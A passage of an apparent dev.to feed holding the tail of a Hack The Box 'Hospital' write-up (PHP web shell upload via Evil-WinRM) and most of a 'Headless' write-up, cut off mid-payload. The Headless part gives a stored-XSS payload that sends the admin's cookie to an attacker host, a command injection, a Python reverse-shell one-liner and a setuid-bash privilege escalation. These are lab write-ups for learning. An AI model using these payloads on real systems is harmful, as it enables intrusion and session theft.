&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\xampp\htdocs&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pwny.php&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Info:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Uploading&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/home/kali/HTB/Hospital/CVE-2023-36664-Ghostscript-command-injection/pwny.php&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\xampp\htdocs\pwny.php&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Info:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;successful&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\xampp\htdocs&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; 

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After doing so, I navigated to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://hospital.htb/pwny.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gave me administrative-level access to the machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiu64hlv0cb30nf92w4r4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiu64hlv0cb30nf92w4r4.png" alt=" " width="799" height="343"&gt;&lt;/a&gt;&lt;br&gt;
and we got the flag &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F36ia9zsbh53atabd14na.png" alt=" " width="381" height="335"&gt;
&lt;/h2&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;The &lt;strong&gt;Hospital&lt;/strong&gt; machine was a great example of how multiple vulnerabilities and misconfigurations can be chained together to compromise an environment.&lt;/p&gt;

&lt;p&gt;Overall, this machine demonstrated the importance of properly restricting file uploads, keeping operating systems and third-party software patched, and carefully validating files processed by applications.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkexn911s1kzel5r2o0fh.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkexn911s1kzel5r2o0fh.gif" alt=" " width="498" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>windows</category>
      <category>ctf</category>
      <category>hacker</category>
    </item>
    <item>
      <title>HTB: Headless — Writeup</title>
      <dc:creator>0xAp0ll0</dc:creator>
      <pubDate>Sat, 08 Aug 2026 17:54:14 +0000</pubDate>
      <link>https://dev.to/r4ybr/htb-headless-writeup-5099</link>
      <guid>https://dev.to/r4ybr/htb-headless-writeup-5099</guid>
      <description>&lt;h1&gt;
  
  
  Overview:
&lt;/h1&gt;

&lt;p&gt;Headless is an easy Linux machine that combines several vulnerabilities to achieve initial access and privilege escalation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbywlimaivn2yrdbq9y0r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbywlimaivn2yrdbq9y0r.png" alt=" " width="800" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Reconnaissance &amp;amp; Enumeration
&lt;/h1&gt;

&lt;p&gt;I started with a full TCP port scan to identify the available services:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scan revealed two interesting ports:&lt;br&gt;
22/tcp   open  ssh   OpenSSH 9.2p1 Debian 2+deb12u2&lt;br&gt;
5000/tcp open  upnp? Werkzeug/2.2.2 Python/3.11.2&lt;/p&gt;

&lt;p&gt;Port 5000 immediately caught my attention because it is running a Python Werkzeug web server.&lt;/p&gt;

&lt;p&gt;Navigating to:&lt;strong&gt;_&lt;a href="http://10.10.11.8:5000" rel="noopener noreferrer"&gt;http://10.10.11.8:5000&lt;/a&gt;&lt;br&gt;
_&lt;/strong&gt;&lt;br&gt;
reveals a simple welcome page with a For questions button.&lt;br&gt;
Clicking it redirects us to a customer support form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6liiq13b5i52v6wo3tsd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6liiq13b5i52v6wo3tsd.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the application allows us to send messages to staff members, I wanted to see if any of the input fields were vulnerable to XSS.&lt;/p&gt;

&lt;p&gt;I first tried a basic payload:&lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;br&gt;
&lt;/code&gt;However, the application detected the payload and displayed a warning saying that a hacking attempt had been detected.&lt;br&gt;
Looking at the page more carefully, I noticed something interesting: the submitted form contents were not displayed, but the HTTP request headers were.&lt;br&gt;
This made me think about injecting JavaScript into one of the headers instead.&lt;br&gt;
I intercepted the request using Burp Suite and modified the User-Agent header:&lt;/p&gt;

&lt;p&gt;User-Agent: alert(1)&lt;br&gt;
After forwarding the request, an alert appeared in the application.&lt;br&gt;
This confirmed that the User-Agent header is vulnerable to stored XSS.&lt;/p&gt;

&lt;p&gt;Stored XSS is particularly interesting here because the application tells us that administrators review the submitted reports.&lt;br&gt;
That means we may be able to use a blind XSS payload to execute JavaScript in the administrator's browser and steal their session cookie.&lt;/p&gt;

&lt;p&gt;I created a simple HTTP server on my machine to receive the callback:&lt;/p&gt;

&lt;p&gt;python3 -m http.server 5000&lt;/p&gt;

&lt;p&gt;Then I used the following payload in the User-Agent header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://10.10.15.67:8000/?cookie=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nf"&gt;btoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flsdy5uwn9m42jrepu15s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flsdy5uwn9m42jrepu15s.png" alt=" " width="800" height="322"&gt;&lt;/a&gt;&lt;br&gt;
The JavaScript creates an Image object and causes the victim's browser to make a request to our server.&lt;br&gt;
After submitting the report and waiting for the administrator to review it, my server received callbacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/HTB/Headless]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server
&lt;span class="go"&gt;Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.15.67 - - [08/Aug/2026 12:43:06] "GET /?cookie= HTTP/1.1" 200 -
10.129.58.80 - - [08/Aug/2026 12:43:53] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;10.10.14.41 - - [14/Jul/2024 11:08:21] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -&lt;/p&gt;

&lt;p&gt;I decoded the cookie:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;span class="nv"&gt;is_admin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0                
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have an admin cookie, I wanted to find out where it could be used.&lt;br&gt;
I fuzzed the website for hidden directories:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/HTB/Headless]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.129.58.80:5000/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 
&lt;span class="go"&gt;
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.58.80:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;directory-list-lowercase-2.3-medium.txt &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 308ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;or send a letter to Creative Commons, 171 Second Street,  &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 310ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;This work is licensed under the Creative Commons  &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;license, visit http://creativecommons.org/licenses/by-sa/3.0/  &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Suite 300, San Francisco, California, 94105, USA. &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Priority ordered &lt;span class="k"&gt;case&lt;/span&gt; insensative list, where entries were found  &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 316ms]
&lt;span class="go"&gt;                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Attribution-Share Alike 3.0 License. To view a copy of this  &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;on atleast 2 different hosts &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 320ms]
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Copyright 2007 James Fisher &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 291ms]
&lt;span class="go"&gt;support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 169ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 153ms]
                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 160ms]
:: Progress: [207643/207643] :: Job [1/1] :: 108 req/sec :: Duration: [0:30:12] :: Errors: 0 ::

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interesting results included:&lt;br&gt;
&lt;strong&gt;&lt;em&gt;support&lt;br&gt;
dashboard&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The /dashboard endpoint was interesting because we previously didn't have access to it.&lt;br&gt;
I replaced my normal cookie with the stolen administrator cookie in Firefox and refreshed the page.&lt;br&gt;
This time, we successfully gained access to the administrator dashboard.&lt;/p&gt;

&lt;p&gt;The dashboard contains a feature for generating a health report.&lt;br&gt;
When clicking the button, the application sends a POST request containing a date parameter:&lt;br&gt;
&lt;code&gt;POST /dashboard HTTP/1.1&lt;br&gt;
date=2023-09-15&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
This looked interesting because the server appeared to process the supplied date.&lt;br&gt;
I tested whether the parameter was being passed to a system command by appending:&lt;br&gt;
;id&lt;br&gt;
So the request became:&lt;br&gt;
date=2023-09-15;id&lt;br&gt;
The response contained:&lt;br&gt;
*&lt;em&gt;uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
The id command executed successfully.&lt;br&gt;
This confirms a command injection vulnerability.&lt;br&gt;
Since arbitrary commands can be executed, we can use this to obtain a reverse shell.&lt;/p&gt;

&lt;p&gt;I started a Netcat listener on my machine:&lt;br&gt;
*&lt;em&gt;nc -lnvp 4444&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
Then I injected a reverse shell through the date parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2024-09-15&lt;span class="p"&gt;;&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("&amp;lt;ur_ip&amp;gt;",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After sending the request, the listener received a connection&lt;/p&gt;

&lt;p&gt;We now have a shell as dvir.&lt;br&gt;
The initial shell is not very stable, so I upgraded it&lt;br&gt;
And we can find the user flag at:&lt;br&gt;
/home/dvir/user.txt&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87todfee85m84ov0vklx.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87todfee85m84ov0vklx.gif" alt=" " width="480" height="330"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Privilege Escalation
&lt;/h1&gt;

&lt;p&gt;Now that we have the user shell, I started looking for ways to escalate to root.&lt;/p&gt;

&lt;p&gt;the first thing i did was check the  user's sudo permissions:&lt;br&gt;
*&lt;em&gt;sudo -l&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
and we got&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So dvir can execute /usr/bin/syscheck as root without a password.&lt;/p&gt;

&lt;p&gt;Analyzing syscheck&lt;br&gt;
I inspected the script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dvir@headless:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /usr/bin/syscheck
&lt;span class="c"&gt;#!/bin/bash                                                                                                                                                                                 &lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EUID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then                                                                                                                                                                  
  &lt;/span&gt;&lt;span class="nb"&gt;exit &lt;/span&gt;1                                                                                                                                                                                    
&lt;span class="k"&gt;fi                                                                                                                                                                                          

&lt;/span&gt;&lt;span class="nv"&gt;last_modified_time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/find /boot &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'vmlinuz*'&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;stat&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; %Y &lt;span class="o"&gt;{}&lt;/span&gt; + | /usr/bin/sort &lt;span class="nt"&gt;-n&lt;/span&gt; | /usr/bin/tail &lt;span class="nt"&gt;-n&lt;/span&gt; 1&lt;span class="si"&gt;)&lt;/span&gt;                                                                    
&lt;span class="nv"&gt;formatted_time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/date &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"@&lt;/span&gt;&lt;span class="nv"&gt;$last_modified_time&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; +&lt;span class="s2"&gt;"%d/%m/%Y %H:%M"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;                                                                                                                 
/usr/bin/echo &lt;span class="s2"&gt;"Last Kernel Modification Time: &lt;/span&gt;&lt;span class="nv"&gt;$formatted_time&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;                                                                                                                              

&lt;span class="nv"&gt;disk_space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/df &lt;span class="nt"&gt;-h&lt;/span&gt; / | /usr/bin/awk &lt;span class="s1"&gt;'NR==2 {print $4}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;                                                                                                                            
/usr/bin/echo &lt;span class="s2"&gt;"Available disk space: &lt;/span&gt;&lt;span class="nv"&gt;$disk_space&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;                                                                                                                                           

&lt;span class="nv"&gt;load_average&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/uptime | /usr/bin/awk &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;'load average:'&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;                                                                                                               
/usr/bin/echo &lt;span class="s2"&gt;"System load average: &lt;/span&gt;&lt;span class="nv"&gt;$load_average&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;                                                                                                                                          

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; /usr/bin/pgrep &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s2"&gt;"initdb.sh"&lt;/span&gt; &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;                                                                                                                                        
  /usr/bin/echo &lt;span class="s2"&gt;"Database service is not running. Starting it..."&lt;/span&gt;                                                                                                                           
  ./initdb.sh 2&amp;gt;/dev/null                                                                                                                                                                   
&lt;span class="k"&gt;else&lt;/span&gt;                                                                                                                                                                                        
  /usr/bin/echo &lt;span class="s2"&gt;"Database service is running."&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;exit &lt;/span&gt;0
dvir@headless:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script first checks whether it is running as root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EUID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It then performs several system checks.&lt;br&gt;
The interesting part is at the end:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; /usr/bin/pgrep &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s2"&gt;"initdb.sh"&lt;/span&gt; &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
    /usr/bin/echo &lt;span class="s2"&gt;"Database service is not running. Starting it..."&lt;/span&gt;
    ./initdb.sh 2&amp;gt;/dev/null
&lt;span class="k"&gt;else&lt;/span&gt;
    /usr/bin/echo &lt;span class="s2"&gt;"Database service is running."&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important line is:&lt;br&gt;
&lt;code&gt;./initdb.sh&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;The script doesn't specify an absolute path such as:&lt;br&gt;
/usr/local/bin/initdb.sh&lt;/strong&gt;&lt;br&gt;
Instead, it uses a relative path.&lt;br&gt;
This means the shell looks for initdb.sh in the current working directory.&lt;br&gt;
Since /tmp is writable by dvir, we can place our own initdb.sh there.&lt;br&gt;
When syscheck is executed from /tmp with sudo, our malicious script will be executed with root privileges.&lt;/p&gt;

&lt;p&gt;I created an initdb.sh script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; /bin/bash /tmp/bash
&lt;span class="nb"&gt;chmod &lt;/span&gt;4777 /tmp/bash
